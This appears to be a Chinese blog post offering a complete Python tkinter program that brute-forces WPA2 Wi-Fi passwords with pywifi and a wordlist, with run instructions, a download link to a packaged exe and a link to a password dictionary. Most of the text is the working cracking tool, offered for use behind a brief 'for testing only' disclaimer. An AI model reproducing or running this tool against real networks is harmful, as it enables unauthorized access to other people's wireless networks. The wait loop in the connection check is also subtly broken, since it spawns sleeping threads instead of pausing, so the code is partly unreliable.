文章目录
- 前言
 - 一、介绍
 - 二、使用步骤
 - 1.完整代码
 - 2.简单使用
 
- 总结
 - 免责声明:
 
前言
注意:此工具为自己测试,不可用作恶意使用。
考虑在windows中的wifi破解工具五花八门很多的广告程序,就自己写一个,原理比较简单,不喜勿喷,可以做后续的优化。
因为考虑多数人没有python环境这里已将python文件打包为exe:
链接:https://pan.baidu.com/s/1x5VpW0HrNvytZN4PBj6ItQ 
提取码:juli 
 
一、介绍
此程序使用python的tkinter模块开发,简单测试过没有问题,后期有问题可以私信我。
 
二、使用步骤
1.完整代码
程序代码如下:
import pywifi
from pywifi import const
import time
import threading
import concurrent.futures
import tkinter as tk
import tkinter.ttk as ttk
from tkinter import filedialog
from tkinter import messagebox
def getwifi():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    for data in bessis:
        if data.ssid not in namelist:
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    allwifilist = sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    wifilist = []
    for item in allwifilist:
        if item[0] not in wifilist:
            n += 1
            if n <= 5:
                wifilist.append(item[0])
    return wifilist
class WiFiPasswordCracker:
    def __init__(self, master):
        self.master = master
        master.title("WiFi密码破解器")
        self.label = ttk.Label(master, text="输入WiFi名称(以逗号分隔):")
        self.label.pack()
        self.wifi_names_entry = ttk.Entry(master)
        self.wifi_names_entry.pack()
        self.select_file_button = ttk.Button(master, text="选择单词表", command=self.select_file)
        self.select_file_button.pack()
        self.crack_button = ttk.Button(master, text="破解密码", command=self.crack_passwords)
        self.crack_button.pack()
        self.results_text = tk.Text(master, height=10, width=50)
        self.results_text.pack()
    def select_file(self):
        file_path = filedialog.askopenfilename()
        if file_path:
            self.wordlist_path = file_path
            messagebox.showinfo("字典已选择", "破解字典设置成功!")
    def crack_passwords(self):
        wifi_names = self.wifi_names_entry.get().split(",")
        wifi_names = [name.strip() for name in wifi_names]
        if not wifi_names:
            messagebox.showwarning("无wifi名称", "请设置要破解的wifi名称")
            return
        if not hasattr(self, "wordlist_path"):
            messagebox.showwarning("为选择字典", "请选择破解字典!")
            return
        try:
            with open(self.wordlist_path, "r") as f:
                passwords = f.readlines()
        except:
            messagebox.showerror("Error", "An error occurred while reading the wordlist file.")
            return
        self.results_text.delete("1.0", tk.END)
        ifaces = self.getifaces()
        for wifi_name in wifi_names:
            self.results_text.insert(tk.END, f"Cracking password for {wifi_name}...\n")
            for password in passwords:
                password = password.strip()
                if self.testwifi(ifaces, wifi_name, password):
                    self.results_text.insert(tk.END, f"Password for {wifi_name} is {password}\n")
                    break
            else:
                self.results_text.insert(tk.END, f"Password for {wifi_name} not found in wordlist.\n")
        messagebox.showinfo("Passwords Cracked", "WiFi密码破解成功!!!")
    def getifaces(self):
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()[0]
        ifaces.disconnect()
        return ifaces
    def testwifi(self, ifaces, ssidname, password):
        profile = pywifi.Profile()
        profile.ssid = ssidname
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        # Wait for connection to be established
        for i in range(30):
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                threading.Thread(target=time.sleep, args=(1,)).start()
        return False
root = tk.Tk()
app = WiFiPasswordCracker(root)
root.mainloop()
 
2.简单使用
1.将上面的python保存为pythonwifi.py
 
 2.使用powershell打开
 
 或者按住shift右击python文件所在位置,用powershell打开。
执行python
python3 .\pythonwifi.py
 

 输入wifi名称
 

 字典来源:https://github.com/conwnet/wpa-dictionary
总结
破解不可能是100%成功的,现在很多的WiFi密码是随机生成的,祝大家好运。
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。



















